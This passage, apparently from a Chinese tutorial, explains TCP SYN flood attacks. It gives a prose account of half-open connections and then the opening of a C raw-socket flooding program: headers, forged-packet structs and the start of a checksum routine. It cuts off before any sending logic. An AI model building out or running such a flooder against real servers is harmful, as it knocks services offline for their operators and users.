1.概述
TCP建立连接需要3次握手,从IP层来看,客户端发送SYN请求,服务器对SYN响应,而客户端对服务器的响应再次确认才能建立连接。在服务器响应之后,等待一段时间,才能获得客户端的确认.从服务器接收到客户端的确认之前,服务器的资源一直占用。如果这时客户端不确认,那么这些连接就是半连接。通过建立大量的半连接,使服务器资源不断的减少,达到攻击的目的。或者是发送大量的SYN请求,使服务器不能够及时的处理,则服务器的资源会慢慢减少,达到攻击的目的。
2. SYN洪水攻击
#include <stdio.h>#include <ctype.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <fcntl.h>
#include <time.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <ctype.h>
#include <netinet/tcp.h>
/**
SYN洪水攻击原理:
TCP建立连接的时候要经过三次握手
(1)源主机向目的主机发送SYN
(2)目的主机收到报方后向源主机发送一个ACK
(3)当源主机发收报文之后向目的主机发送一个ACK,表示已经收到目的主机的ACK
这时候才能够通信
可以在目的主机发送完ACK后,源主机不再像目的主机发送ACK,这样目的主机一直超时等待,即建立半连接。
也可以发送大量的SYN包,让目的主机处理不过来,来消耗目的主机的带宽
**/
#define MAXCHILD 2
#define K 1024
#define DATUML 1*K
static int PROTO_TCP=-1;//TCP协议类型
static unsigned long dest=0;//目的地址,32位二进制
static int dest_port=0;
static int rawsock=-1;//原始套接字
static int alive=0;
//整个IP报文包括3个部分,IP首部,TCP首部,TCP数据部分
struct dosseg_t {
struct ip iph;//IP头部
struct tcphdr tcph;//TCP头部
}dosseg;
struct pseudo_header //needed for checksum calculation
{
unsigned int source_address;//源地址
unsigned int dest_address;//目的地址
unsigned char placeholder;
unsigned char protocol;//协议号
unsigned short tcp_length;//tcp包长度
struct tcphdr tcp;//tcp首部
};//一起计算校验和
//计算校验和
static unsigned short DoS_cksum(unsigned short *data,int length){
register int left=length;
register unsigned short*word=data;
register int sum=0;
unsigned short ret=0;
//计算偶数字节